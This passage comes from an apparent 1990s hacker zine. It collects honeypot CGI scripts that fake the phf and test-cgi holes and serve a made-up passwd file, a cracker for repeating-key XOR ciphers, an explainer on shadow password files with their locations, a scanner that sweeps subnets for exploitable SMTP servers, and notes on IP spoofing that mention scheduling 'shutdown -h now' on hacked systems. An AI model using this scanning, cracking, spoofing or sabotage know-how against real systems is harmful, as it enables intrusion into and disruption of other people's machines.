&>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-rf",argv[i],NULL); } } ri: for (i=2;i<argc;i++) { setenv("PROGRAM", argv[i], 1); system("cp -f $PROGRAM /tmp/fill &>/dev/null"); execl("/bin/rm.bak","rm","-ri",argv[i],NULL); unsetenv("PROGRAM"); } rv: for (i=2;i<argc;i++) { setenv("PROGRAM", argv[i], 1); system("cp -f $PROGRAM /tmp/fill &>/dev/null"); execl("/bin/rm.bak","rm","-rv",argv[i],NULL); unsetenv("PROGRAM"); } rfv: for (i=2;i<argc;i++) { setenv("PROGRAM", argv[i], 1); system("cp -f $PROGRAM /tmp/fill &>/dev/null"); execl("/bin/rm.bak","rm","-rfv",argv[i],NULL); unsetenv("PROGRAM"); } } This program can of course be improved, especially replacing the strcmp's with getopt() but I could care less.... Now when ever a user deletes something it will first be copied to /tmp/fill before it's deleted. Now, even though it's logged to /var/log/httpd/access_log, I'd like to know right away when someone tries to use the phf or test-cgi vulnerabilities on me. So I replaced the phf and test-cgi programs in my /cgi-bin/ with this. The first will get the info on who it is, then it will send a fake passwd file. This can be improved of course but I don't care to take the time. phf.c: /* ----------------------------------------------------- */ /* phf "trojan" by (--==+*~Shok~*+==--) */ /* ----------------------------------------------------- */ /* Email: shok@sekurity.org */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> void main() { FILE *tmpfile, *fingerinfo; char *host, *addr, *browser, *query_string; char fingerbuf[2048]; host=getenv("REMOTE_HOST"); addr=getenv("REMOTE_ADDR"); browser=getenv("HTTP_USER_AGENT"); query_string=getenv("QUERY_STRING"); /* This is to prevent a finger war, the ip address below is my ip address */ /* just to be on the safe side. But I do have in.fingerd: LOCAL to allow */ /* me to finger without starting a finger war. */ if ((strcmp(addr, "206.71.69.243")) || (strcmp(addr,"127.0.0.1")) == 0) exit(0); system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo1"); tmpfile=fopen("/var/tmp/.phf", "w"); fingerinfo=fopen("/var/tmp/.fingerinfo1", "r"); fprintf(tmpfile, "The following person used phf!!\n\n"); fprintf(tmpfile, "\tHost: %s\n", host); fprintf(tmpfile, "\tAddress: %s\n", addr); fprintf(tmpfile, "\tBrowser type: %s\n", browser); fprintf(tmpfile, "\tQuery String (aka command entered): %s\n\n", query_string); fingerinfo=fopen("/var/tmp/.fingerinfo1", "r"); fgets(fingerbuf, 2047, fingerinfo); fclose(fingerinfo); fprintf(tmpfile, "I did a finger of the person trying to exploit us:\n"); fprintf(tmpfile, "--------------------------------------------------\n"); fputs(fingerbuf, tmpfile); fclose(tmpfile); system("mail -s \"SOMEONE USED phf!!\" root </var/tmp/.phf"); unlink("/var/tmp/.fingerinfo1"); unlink("/var/tmp/.phf"); printf("Content-type: text/html\n\n"); printf("<H1>Query Results</H1>\n"); printf("<P>\n"); printf("/usr/local/bin/ph -m alias=x \n"); printf("cat /etc/passwd\n"); printf("<PRE>\n"); printf("root:TQoabYuFUSoSk:0:1:Operator:/:/bin/csh\n"); printf("nobody:*:65534:65534::/:\n"); printf("daemon:*:1:1::/:\n"); printf("sys:*:2:2::/:/bin/csh\n"); printf("bin:*:3:3::/bin:\n"); printf("uucp:*:4:8::/var/spool/uucppublic:\n"); printf("news:*:6:6::/var/spool/news:/bin/csh\n"); printf("ingres:*:7:7::/usr/ingres:/bin/csh\n"); printf("mail:*:8:12::/:\n"); printf("johnny:Abx4dgSg:MaTr|x:/home/MaTrix:/bin/sh\n"); printf("audit:*:9:9::/etc/security/audit:/bin/csh\n"); printf("sync::1:1::/:/bin/sync\n"); printf("kill8r:AfBs45Syf:100:25:Siko:/home/Siko:/bin/sh\n"); printf("ppp::70:70:PPP login:/tmp:/etc/ppplogin\n"); printf("sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag\n"); printf("sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag\n"); printf("ftp:*:10:20:ftp:/home/ftp:/usr/bin/bash\n"); printf("luseruser:xAFjgodjFa4:254:100:Pr0t0:/home/Pr0t0c0l:/bin/sh\n"); printf("babum:aDtg3Gs645:BiT-#hacker:454:100:/home/BiT:/bin/sh\n"); printf("www:*:30:30:World Wide Web:/home/www:/usr/bin/bash\n"); printf("pop:*:70:70:Post Office Protocol:/var/spool/pop:/usr/bin/bash\n"); printf("zirzlaff:.a6RPNtUhGW0k:3190:100:Torsten Zirzlaff:/home/tz:/usr/local/bin/tcsh\n"); printf("f33r:A23gAdcYf5:4110:100:f33r me bitch:/home/hph:/usr/local/bin/tcsh\n"); printf("henrik:v50YvKjFwWw.M:4120:18:HeNriK:/usr/sirius/henrik:/usr/bin/bash\n"); printf("inas:fStcY3^gf:8900:100:InaSaLoser:/home/is:/usr/local/bin/tcsh\n"); printf("ivo:*:8920:100:Da Tru hacker-Lamer:/home/ivo:/usr/local/bin/tcsh\n"); printf("pcguest::7454:100:Temp hax0r account:/tmp:/usr/bin/sh\n"); printf("simone:Em8y0pwT.5umo:8930:100:Simone Kleine:/home/simone:/usr/bin/bash\n"); printf("shko:aDrsBsefYr:666:100:SHLRP:/home/shok:/bin/bash\n"); printf("majordomo:*:405:20:Majordomo server:/dev/null:/bin/startdomo\n"); printf("listserv:*:567:20:Listserv server:/dev/null:/bin/sh\n"); printf("hammer:FwhX26Hf1:8940:100:Peter Hammerstein:/home/hammer:/usr/bin/bash\n"); printf("patrick:cYz7MXTIyGByQ:8950:100:Patrick Mergell:/home/patrick:/usr/bin/bash\n"); printf("chr:T/SRcchg0fK3I:8960:100:Christian Zemlin:/home/chr:/usr/bin/bash\n"); printf("db:*:8970:100:Dieter Beule:/usr/sirius/dieter:/usr/bin/bash\n"); printf("guest:AefxF2a2D:8999:110:Guest:/home/guest:/usr/local/bin/tcsh\n"); printf("</PRE>"); } This is what the above will show up in the root's mail: The following person used phf!! Host: ts037d12.chi-il.concentric.net Address: 206.173.188.168 User (if able): (null) Ident (if able): (null) Browser type: (null) Query String (aka command entered): Qalias=X%0aid I did a finger of the person trying to exploit us: -------------------------------------------------- [206.173.188.168] (probably Win95 which is why there was no output as Win95 doesn't have an actual "finger" program) Now for the test-cgi...this does the same thing accept it will send a "File Not found" instead: test-cgi.c: /* --------------------------------------------------- */ /* test-cgi.c -- test-cgi "trojan" by --==+*~Shok~+*-- */ /* --------------------------------------------------- */ /* Email: shok@sekurity.org */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> void main(void) { FILE *tmpfile, *fingerinfo; char *host *addr, *browser, *query_string; char fingerbuf[2048]; host=getenv("REMOTE_HOST"); addr=getenv("REMOTE_ADDR"); browser=getenv("HTTP_USER_AGENT"); query_string=getenv("QUERY_STRING"); /* This is to prevent a finger war, for safety, even though you SHOULD */ /* have in.fingerd: LOCAL in your hosts.allow */ if ((strcmp(addr, "206.71.69.243")) || (strcmp(addr,"127.0.0.1")) == 0) exit(0); system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo"); tmpfile=fopen("/var/tmp/.test-cgi", "w"); fprintf(tmpfile, "The following person used phf:\n\n"); fprintf(tmpfile, "\tHost: %s\n", host); fprintf(tmpfile, "\tAddress: %s\n", addr); fprintf(tmpfile, "\tBrowser type: %s\n ", browser); fprintf(tmpfile, "\tQuery String (aka command entered): %s\n\n", query_string); fingerinfo=fopen("/var/tmp/.fingerinfo", "r"); fgets(fingerbuf, 2047, fingerinfo); fclose(fingerinfo); fprintf(tmpfile, "I did a finger of the person trying to exploit us:\n"); fprintf(tmpfile, "--------------------------------------------------\n"); fputs(fingerbuf, tmpfile); fclose(tmpfile); /* REPLACE THIS PART WITH WHO YOU WANT TO MAIL IT TO change the root to */ /* to whatever you want */ system("mail -s \"SOMEONE USED test-cgi!!\" root < /var/tmp/.test-cgi"); unlink("/var/tmp/.fingerinfo"); unlink("/var/tmp/.test-cgi"); printf("Content-type: text/html\n\n"); printf("<h2>File Not found\n</h2>"); printf("The requested URL /cgi-bin/test-cgi was not found on this server."); } Just as an added bonus here......... When someone goes to a directory you have .htaccess in, it will send 401, which is the unauthorized error code (pretty sure it's 401 but not in the mood to check). Now I editted my srm.conf (usually /usr/local/etc/httpd/conf/srm.conf), and added this line: ErrorDocument 401 /cgi-bin/unauthorized.cgi This is basically like the one above.......except it differs by the the 'user' part, which lets you know what user it was...this is a good way to know if there is an unauthorized attempt, and/or what user is logging into your webpage that is secured...... unauthorized.c: /* -------------------------------------------------------- */ /* Unauthorized cgi "trojan" script by (--==+*~Shok~*+==--) */ /* -------------------------------------------------------- */ /* Email: shok@sekurity.org */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> void main(void) { FILE *tmpfile, *fingerinfo; char *host, *addr, *user, *ident, *browser, *query_string; char fingerbuf[2048]; host=getenv("REMOTE_HOST"); addr=getenv("REMOTE_ADDR"); user=getenv("REMOTE_USER"); ident=getenv("REMOTE_IDENT"); browser=getenv("HTTP_USER_AGENT"); query_string=getenv("QUERY_STRING"); /* This can get ugly */ if ((strcmp(addr, "206.71.69.243"))==0) exit(0); system("finger @$REMOTE_ADDR > /var/tmp/.fingerinfo"); tmpfile=fopen("/var/tmp/.unauthorized", "w"); fprintf(tmpfile, "The following person has unauthorized access:\n\n"); fprintf(tmpfile, "\tHost: %s\n", host); fprintf(tmpfile, "\tAddress: %s\n", addr); fprintf(tmpfile, "\tUser (if able): %s\n", user); fprintf(tmpfile, "\tIdent (if able): %s\n", ident); fprintf(tmpfile, "\tBrowser type: %s\n ", browser); fingerinfo=fopen("/var/tmp/.fingerinfo", "r"); fgets(fingerbuf, 2047, fingerinfo); fclose(fingerinfo); fprintf(tmpfile, "I did a finger of the person:\n"); fprintf(tmpfile, "-----------------------------\n"); fputs(fingerbuf, tmpfile); fclose(tmpfile); system("mail -s \"Somone tried unauthorized access\" root </var/tmp/.unauthorized"); unlink("/var/tmp/.fingerinfo"); unlink("/var/tmp/.unauthorized"); printf("Content-type: text/html\n\n"); printf("<HEAD><TITLE>Unauthorized</TITLE></HEAD>"); printf("<BODY><H1>Unauthorized</H1>"); printf("You are unauthorized and unwanted here.\n Go away <FONT COLOR=\"red\">d0rk</FONT><P>"); printf("</BODY>"); } Here is my hosts.deny too.........in case you wanted to see it ;) ALL: .cc.edu: /bin/mail -s "%h from CC.EDU tried to access us!!" root ALL: .gov, .mil: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "GOV/MIL ATTEMPTED ACCESS from %h!! Using %s." root & in.telnetd: ALL: /bin/mail -s "%h tried to telnet in" root #FINGER - Noisy people #------------ in.fingerd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FINGER ATTEMPT FROM %h" root & #Security reasons #--------------- in.ftpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FTP ATTEMPT FROM %h" root & in.rlogind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RLOGIN ATTEMPT FROM %h" root & #in.telnetd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "TELNET ATTEMPT FROM %h" root & # PORTMAP #------------- portmap: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "PORTMAP ATTEMPT FROM %h. Using %s" root & #COMSAT in.comsat: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "COMSAT ATTEMPT FROM %h" root & #REXECD in.rexecd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "REXEC ATTEMPT FROM %h" root & #RSHD in.rshd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RSHD ATTEMPT FROM %h" root & #NNRPD in.nnrpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "NNRPD ATTEMPT FROM %h" root & #RPCBIND rpcbind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RPCBIND ATTEMPT FROM %h. Using %s" root & #ALL: paranoid Well.......................................we're winding down to the end. It has been fun and I don't have much more to say on this article. Thanks for reading, please feel free to use and distribute this, although I wish for you to leave my comments and "header" at the tops ... ya know my "copyright" :) You can access a few of my things at ftp.janova.org (in pub) or www.janova.org. ═────────────────────────────────────────────────────────────────────────────═ Cryptanalytic Attacks on Repeating Key Algorithms by The Messiah CONTENTS: * Introduction * Background * Methods Of Attack * BadCrypt v1.0 * GeneriCrack for DOS v1.0 * Prevention INTRODUCTION: Bruce Schneier published an essay called "Why Crypto Is Harder Than It Looks." It's true, designing a secure algorithm is MUCH harder than breaking one. This article is about breaking programs which use a repeating key. Credit should go out to Kent Briggs, whose WinCrack program opened doors for me into cryptanalysis. His code is also at the heart of GeneriCrack for DOS, altered quite a bit, however. BACKGROUND: What is cryptanalwhatever? Cryptanalysis is the art of decoding encrypted messages without the key, or algorithm. In 1994, PC Mag released a program by Jeff Prosise called WinCrypt. It created a 512-byte block derived from a passphrase, then XOR'd (eXclusive OR) each 512-byte block of the plaintext with the key block. |------Key Block-----| XOR |------Plaintext-----|--------------------|--------------------|--------------------| equals |-----Ciphertext-----| |------Key Block-----| XOR |--------------------|------Plaintext-----|--------------------|--------------------| equals |--------------------|-----Ciphertext-----| And so on, until the plaintext is completely XOR'd with the key block. The problem with this is that is you have a file of all 'A's (Ordinal value=65), there will be visible repeating patterns in the ciphertext- A PROBLEM! Why is that a problem, you ask? Someone would have to find that huge 512-byte key to decrypt it, right? Errnt. METHODS OF ATTACK: WinCrypt's weakness is that it uses the same key byte at known points in the file. The 1st, 513th, 1025th, 1537th, etc byte is always XOR'd with the same byte of the key. The other bytes in the key have no role in the encryption of the 1st byte. If the 1st byte of the file is an 'A', and they 1st byte in the key is a 'B', then the result will be a byte value of 3, regardless of what the other entries in the key are. So instead of a 512-byte key, it's actually 512 1-byte keys. The keyspace for a 512-byte key would be 2^4096 possibilities, but 512 1-byte keys is just 512*256 (number of entries) (number of values per entry). 131072 possible keys is quite a bit less to search. But we don't have to stop there. If we know some common byte values in the plaintext, we can search for those, like this: for i = 1 to 512 do begin for j = 0 to 255 do if (InBlock[i] xor j) is in CommonValues then Increment(Count[j]); end The highest count will be the byte that has the most hits inside the target byte range. Text files are made up of mostly spaces (ordinal value 32), CR/LF pairs (13/10), and lower case letters (well, some l33t0 ph|l3z might have different values, but hey...). BADYCRYPT v1.0: (* BadCrypt v1.0 by The Messiah This program takes a 256-byte array, fills it with the output of a PRNG seeded with the passphrase, then uses the aforementioned encryption method. *) program BadCrypt; uses Crt; type TKey = array[1..256] of byte; var key : TKey; passphrase, inpath, outpath : String; procedure Crypt(infile, outfile : String); var FromF, ToF: file; NumRead, NumWritten, I: Integer; Buf: array[1..256] of byte; begin Write('Crypting'); Assign(FromF, infile); Reset(FromF, 1); Assign(ToF, outfile); Rewrite(ToF, 1); repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); for i := 1 to NumRead do Buf[i] := Buf[i] xor Key[i]; BlockWrite(ToF, Buf, NumRead, NumWritten); Write('.'); until (NumRead = 0) or (NumWritten <> NumRead); Close(FromF); Close(ToF); WriteLn('Done!'); end; procedure Expand(seed : String; var aKey : TKey); var I, J : Integer; begin Write('Expanding key'); for i := 1 to Length(seed) do begin RandSeed := Ord(seed[i]); for j := 1 to 256 do aKey[j] := aKey[j] xor Random(256); Write('.'); end; WriteLn('Done!'); end; begin WriteLn('BadCrypt v1.0: The Worst Encryption Utility!'); Write('Enter the password: '); ReadLn(passphrase); Write('Enter the filepath for the input file: '); ReadLn(inpath); Write('Enter the filepath for the output file: '); ReadLn(outpath); Expand(passphrase, Key); Crypt(inpath, outpath); WriteLn('Hit enter to quit...'); ReadLn; end. { ------------------------------------------------------ } GENERICRACK V1.0: (* GeneriCrack v1.0 for DOS by The Messiah This cracks files, if you know the key size it was encrypted with. A 32-bit version will be out soon, so stick around... *) program GeneriCrack; const MAXKEY = 1024; var key, buffer : array[1..MAXKEY] of Byte; count, maxcount : array[1..MAXKEY] of Integer; inpath, outpath : String; kSize : Integer; procedure Crack(Filename : String; keysize : Integer); var file1: file; i,j, result: integer; b : byte; begin Write('Cracking'); Assign(file1,Filename); Reset(file1,1); for i := 1 to KeySize do begin key[i] := 0; maxcount[i] := 0; end; for i:=0 to 255 do begin seek(file1,0); for j := 1 to KeySize do count[j] := 0; while not eof(file1) do begin blockread(file1,buffer,keysize,result); for j:=1 to result do begin b:= i xor buffer[j]; if b in [10,13,32,97..122] then count[j] := count[j] + 1; end; end; for j:=1 to keysize do if count[j]>maxcount[j] then begin key[j]:=i; maxcount[j]:=count[j]; end; Write('.'); end; WriteLn('Done!'); close(file1); end; procedure Decrypt(infile, outfile : String; keysize : Integer); var file1,file2: file; i,j, result: integer; begin Write('Decrypting'); assign(file1,infile); reset(file1,1); assign(file2,outfile); rewrite(file2,1); while not eof(file1) do begin blockread(file1,buffer,keysize,result); for j:=1 to result do buffer[j]:= buffer[j] xor key[j]; blockwrite(file2,buffer,result,i); Write('.'); end; close(file1); close(file2); WriteLn('Done!'); end; begin WriteLn('GeneriCrack for DOS v1.0 by The Messiah'); Write('Enter the keysize in bytes: '); ReadLn(kSize); Write('Enter the filepath of the input file: '); ReadLn(inpath); Write('Enter the filepath of the output file: '); ReadLn(outpath); Crack(inpath, kSize); WriteLn; Decrypt(inpath, outpath, kSize); WriteLn; WriteLn('Hit enter to quit...'); ReadLn; end. { ------------------------------------------------------ } PREVENTION: One way to make sure an algorithm you're designing (or using) isn't fallible to this particular attack is to make the encryption data-sensitive. Have the key change with each block. This will not, of course, make a bad algorithm good, but it will make it resistant to this particular attack. Also, if you're running a block cipher in ECB mode, it could be broken with this attack, AFAIK. I haven't tested it yet, but ECB does the same method for each block. ═────────────────────────────────────────────────────────────────────────────═ Shadow files explained by Shypht Ok, a few people I knew / know were a bit confused on the purpose on having a shadowed password file so I decided to write a simple text explaining them. -[ ---------------------------------------------------------------------- ]- █▓▒░ Introduction : the basic's ░▒▓█ -[ ---------------------------------------------------------------------- ]- A shadow file is a way of adding extra security to a unix machine. Before password shadowing, a passwd file would look like this : ( this is in /etc/passwd ) esmith:s920Vk02sl24:6151:100:Edmond Smith:/home/esmith:/bin/bash | | | | | | | | | | | | | \- which shell they | | | | | \- home dir use7 | | | | \- real name/comments/bussiness etc | | | \- group id (gid) | | \- user id(uid) | \- encrypted password \--- login name but now with computer security becoming more and more of an issue, and more and more people were grabing the /etc/passwd file and crack the encrypted password w/ a word list and a cracker like brute force or cracker jack, john the ripper,crack, etc. The reason why a wordlist/dictionary file is used is because the encrypted password uses a one-way hash. To crack the password, the cracker compares the one-way hash from each word in the word list to the encrypted password until a match is found. So they decided they needed more security, so they started to shadow their password files, they still look pretty much the same, but instead of having the encrypted password, there is a * in place, so if you were to cat /etc/passwd you'd get : ( location varies on systems see further down for more info ) esmith:*:6151:100:Edmond Smith:/home/esmith:/bin/bash ^- shadowed password file, not much use eh? people may wonder why wouldn't the system admins make the /etc/passwd read-only by root and it'd save them alot of hassle, but programs need to read certain info from that file to get user name / uid / gid etc, and since not all programs are run as root, if the /etc/passwd was read by root only, it would cause conflicts, and alot of programs would have to be run as root and create alot of security problems. So the actual encrypted password is held in the shadow file, for a list of locations see below, this file is / should only be read/write only by the root admins, this gives an extra ammount of security, and since only root can read it, normal users can't grab a copy and crack the password's in it. The format of the shadow file goes as : username:password:change_date:min_change:max_change:warn:inactive:expire: the format will go into more detail in the next section. -[ ---------------------------------------------------------------------- ]- █▓▒░ The Shadow File : The Format ░▒▓█ -[ ---------------------------------------------------------------------- ]- As stated above the format of the shadow file goes as : username:password:change_date:min_change:max_change:warn:inactive:expire: User Name : the name of the user Password : the encrypted password. And/or alternate authontication methods wich will be explained in the next section. [ - the following fields relate to passwd change / expiration - ] Change Date : encodes the date of the most rescent passowrd chage Min/Max Change : tells the min and max days between password changes Warn : when the password is about to expire, warn that many days ahead of time Inactive : specifies how many days the user has to change thier pass after the expiration date before that account is cancled Expire : encodes the date that the password will expire -[ ---------------------------------------------------------------------- ]- █▓▒░ The Shadow File : Extra Features ░▒▓█ -[ ---------------------------------------------------------------------- ]- ( I read some of this stuff in a document relating to linux security so I am not sure if it applys to all shadowing systems but I am pretty sure that it does / or at least should. If not it is still something that is interesting to know. ) In the password field of the shadow file you can also specify additional authentication programs to be run after the password has been entered. An example of one is : shypht:4j3jx70735;@/sbin/agetest:::::: the ;@/sbin/agetest would tell the system that after the password has been enter'd in correctly to run the /sbin/agetest program, which I just made up for an example, and it would return a 0 or 1 showing if the user passed shypht:<\@>/sbin/securelogin:::::: which the user would have to pass to gain entry to the system, and he/she would not be prompted for a password. This can be used for lower or higher security on a system, but I would imagine that it would only be used to secure the system even more, you could have them prompted for personal questions which only they would know etc. -[ ---------------------------------------------------------------------- ]- █▓▒░ The Shadow File : Locations ░▒▓█ -[ ---------------------------------------------------------------------- ]- The location of the shadow file varies from system to system, I have taken this list from the ultimate beginers guide to hacking 97 revision. And is modified for this document. UNIX Path ------------------------------------------------- AIX 3 /etc/security/passwd or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd ConvexOS 10 /etc/shadpw ConvexOS 11 /etc/shadow DG/UX /etc/tcb/aa/user/ EP/IX /etc/shadow HP-UX /.secure/etc/passwd IRIX 5 /etc/shadow Linux1.1 /etc/shadow OSF/1 /etc/passwd[.dir|.pag] SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] UNICOS /etc/udb Unix System V /etc/master.passwd -[ ---------------------------------------------------------------------- ]- █▓▒░ Closing Comments ░▒▓█ -[ ---------------------------------------------------------------------- ]- I hope that this document helpfull to anyone out there. I wrote this to help people understand, and maybe learn abit more about the shadow file. Thanks for reading this far - shypht -[ ---------------------------------------------------------------------- ]- █▓▒░ The End ░▒▓█ -[ ---------------------------------------------------------------------- ]- greetz out to : vacuum, cellular fear, philisopher, exorcist, atom, RM, severed, all my friends in #hackphreak, PentiumRU, Nyangel, Rloxley, X-Bish and all the other ops, and #carparts and anyone else I forgot thanx to vacuum for fixin some spelling and adding the 1way hash info. ═────────────────────────────────────────────────────────────────────────────═ SMTP server scanner by memor /* Here is a SMTP server scanner (thoses ones on port25) to scan i guess for old mailserver, for easy sendmail bugs uses. well.. this is not really an hacking tool.. only a scanning one. it can be used in 2 ways.. USAGE: smtpscan -dh xxx.xxx[.xxx](if option -h) [port](optional) first.. to find "possible" hackable domains like that : smtpscan -d xxx.xxx or smtpscan -d xxx.xxx 25 will scan for smtp from xxx.xxx.1.1 to xxx.xxx.255.1 and 2ndly, it can be used to find "possible" hackable servers on a domain with : smtpscan -h xxx.xxx.xxx or smtpscan -h xxx.xxx.xxx 25 will scan for smtp from xxx.xxx.xxx.1 to xxx.xxx.xxx.255 *note* you can scan for any domains or servers with another port (like for pop3 or other) with smtpscan -dh xxx.xxx.xxx[.xxx] port thanx to Wintifax for his advices ;) memor@mygale.org memor(hbs) Aug 29, 1997 */ /* habitual includes for managing functions in the programm */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netdb.h> #include <sys/socket.h> #include <arpa/inet.h> #include <sys/types.h> #include <netinet/in.h> /* defining global variables for reading writing creating the socket */ FILE *soc; int sock; /* defining void answer(void) function */ void answer(); /* main routing */ int main(argc,argv) int argc; char **argv; { /* create variables for counting , ip adress string */ int count, port = 25; char *ips; struct sockaddr_in ip; ips = (char *)malloc(100); /* checking if enough arguments to make the programm working correctly */ if(argc<2) { /* if not, tells the usage and quit */ printf("%s - memor/hbs\n",argv[0]); printf("usage:\n"); printf("%s -dh xxx.xxx[.xxx] [port]\n",argv[0]); exit(1); } else if(argc>3) port = atoi(argv[3]); /* begining -d or -h scan */ for(count=1;count<256;count++) { if(strcmp(argv[1],"-d")==0) sprintf(ips,"%s.%i.1",argv[2],count); else sprintf(ips,"%s.%i",argv[2],count); printf("Looking at %s Port %i\n",ips,port); /* creating socket */ if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) /* i cant open it */ { /* i cant, i write what error it gives me */ perror("socket"); } else { soc=fdopen(sock, "r"); ip.sin_family = AF_INET; ip.sin_port = htons(port); ip.sin_addr.s_addr = inet_addr(ips); bzero(&(ip.sin_zero),8); /* trying to connect..reach the host */ if ( connect(sock, (struct sockaddr *)&ip, sizeof(struct sockaddr)) < 0 ) { /* i cant, i write what error it gives me */ perror("connect"); } else { /* getting what the smtp tells me */ answer(); } /* closing that socket */ close(sock); } } } /* answering function */ void answer() { /*creating a as char type.. */ char ch; do { ch=getc(soc); printf("%c",ch); /* i write the cararcter i received */ } while(ch!='\r'); /* received a 13 .. go back to main() */ printf("\n"); } ═────────────────────────────────────────────────────────────────────────────═ All About The Internet Protocol by Malhavoc Lets start off with the basics of ip's then we will start on some of the advanced stuff like ip spoofing and masquerading. First off Ip is short for Internet Protocol. The Internet Protocol defines how data should be broken down to be transmitted over the internet. Another part of the Internet Protocol is the Internet Protocol address or IP Address. The Ip address is a 32-bit number with 4 digits ranging from 0 to 255. The IP address is similar to your home address in that it is an identifier much like your home address, except that the ip address identifies each computer connected or linked to the internet. Ip addresses can be resolved to domain names and visa versa through DNS which stands for Domain Name Server or name server for short. Each domain has a unique IP address assigned to it. Ip can have multiple domain names assigned to it. The Ip address also has 4 layers associated with it. They are: The Application Layer - This deals with the functions of server applications like FTP and HTTP. The Transmission Control Protocol Layer - This controls the moving of data from the source to the destination ignoring everything else. The Internet Protocol Layer - This handles all of the moving data from one network node to the next. The Physical Layer - This controls all of the actual communications hardware such as ethernet cards and modems. These layers are known as the protocol stack. Without IPs you can't find any computer on the internet. Something else associated with the Ip is something called TCP or Transmission Control Protocol. This basically controls what the ip transmits and recieves to and from other computers. There are also 2 types of IPs. They are the Dynamic and the Static ip. The dynamic ip is an ip that always changes. Sometimes the last 2 digits are the same, but most of the time the last digit stays the same. The static ip on the otherhand is the same all of the time, hence the word static. As you can see the IP has many functions throughout the internet and if you mess around with them in the wrong way, you could certainly screw up many computers, even a whole network up. How do you do this you ask? READ ON! In the previous paragraph I said that if you fuck around with an IP or a computer that is connected to a very large LAN, Network, or Intranet you could really screw things up quite a bit. There are many ways of doing this. Some more fun than others. You could hack a system and crontab shutdown -h now to run every 15 minutes or nuke a server and lag it to hell, but that could totally cripple a system, and that is not what I like to condone. What I really like is spoofing. Although it does not screw up anything it can give you unauthorized access to things or you could just make your ip and/or domain to whatever you want. Spoofing is not very hard if you know what you are doing. If you read my explanation of the IP it explained all about IPs. If you remember everything that I explained it can help you in your quest to spoof, or you could continue to read this and learn how to spoof by my teachings. To do a basic spoof on IRC or something you just need root on a nameserver and jizz. In case you are saying, "What the hell is a nameserver?", I have included a quick little definition, if you will of a nameserver. A nameserver is pretty much a computer that translates the alphabetic domain name to a numerical IP address. To get root on a nameserver you either have to: a) Get unauthorized access to the system, anotherwards hack the system b) You already own a nameserver connected to the internet If you would like to use option "a" to get access, you need to find another file specifically written about hacking(which I am positive I will write at some point). or if you chose "b", can I get access?(it was a joke but if i can, e-mail me at malhavoc@xxedgexx.com) but seriously if you do have one, perfect. All you need to do now is download jizz. You could download it at my website at Http://Kaos.xxedgexx.com or go to Http://www.rootshell.com. Once you download it type gcc -o jizz jizz.c, after that, jizz should compile in the directory you download to. After the compilation is complete type ./jizz Manually Spoofing - The more advanced way to spoof and for use with people that actually know something. ═────────────────────────────────────────────────────────────────────────────═ ShokDial - a linux war dialer by Shok I wrote this because someone asked me to, and it's the only war dialer I've seen for linux. I don't like or use war dialers but I decided to write it anyway....oh well. This is new, so it may have a few bugs but it shouldn't have any. If you see a bug or anything, please let me know (mail me at shok@sekurity.org). WHAT YOU NEED TO DO: -------------------- ***YOU NEED TO DO THIS***......... In wardialer.c, at the very top..you will have three #define's you need to change to your modem, etc. #define MODEMPORT "/dev/cua1" This is the COM my modem is on. You NEED to set this to yours. If your modem is on COM1 (assuming you're using linux), then put /dev/cua0 instead of /dev/cua1. However if you are using something like IRIX for example it is not /dev/cua1 (if I recall)...and you'll need to set this to your modem port. -------------------- There is also: #define HANGUPPORT "/dev/ttyS1" You NEED to change this as well, if you put cua0 earlier, put ttyS0 here...if you put cua1 put ttyS1 here.....etc However if you have IRIX or soemthing like that it will be different..... --------------------- Now all you have to do (and this is optional), there is: #define TIMEOUT 30 You just set this to how long you will wait for it to try to dial a number and this will disconnect after so long. Type shokdial -h for help/options... Enjoy! Serial programming for unix.....boy this stuff is fun. Well unix is famous for it's special files. The modem is just a file you can open(), read(), and write() to...for that reason this program can be used on all unixs'. The only thing different that needs to be changed, is the #define MODEMPORT "/dev/cua1", because most unix/unix clones have their own modem port. For example /dev/ttyS? which is COM1 (to the DOS users), would be /dev/ttym? in IRIX. Now once this program opens the modem (via device/special file) for reading/writing, it will write() to it, and send it standard modem instructions like +++ATH, ATZ etc....this comes before any dialing to get the modem ready....we also use a function to check for "OK" so we know that all is well. On receiving this, then enter the number we want to dial into a character buffer, append a "\r" to it (to it actually sends the command), we then write(fd (the file desc. for /dev/cua1), thebufwiththenum, strlen(thebufwiththenum)); Now once you do this..you can't write "+++ATH" to it, because it will send that as the login name (assuming you've connected to a host), so what I did, was I opened the other modem port (there are two, /dev/cua0 and /dev/ttyS0 are essentially the same thing (both COM1 to explain it easier), one is used for dialing out (cua?) and one is used for dialling in and out (ttyS?). So I opened up the other port and used that to send the command to hang up. But all the other stuff isn't complex, they are all C primitive instructions like ScanMin++; which would increse ScanMin by 1, repeat a while loop, and then the next strcat(phonenum, ScanMin); ... would dial the next number......you get the idea. That's about all there really is to say about the technical stuff about it. Oh yeah one thing.....when it connects, it looks for the string "CONNECT" returned from the modem serial file. You won't get this message from faxes as you will only get this message when the connection is complete, so this 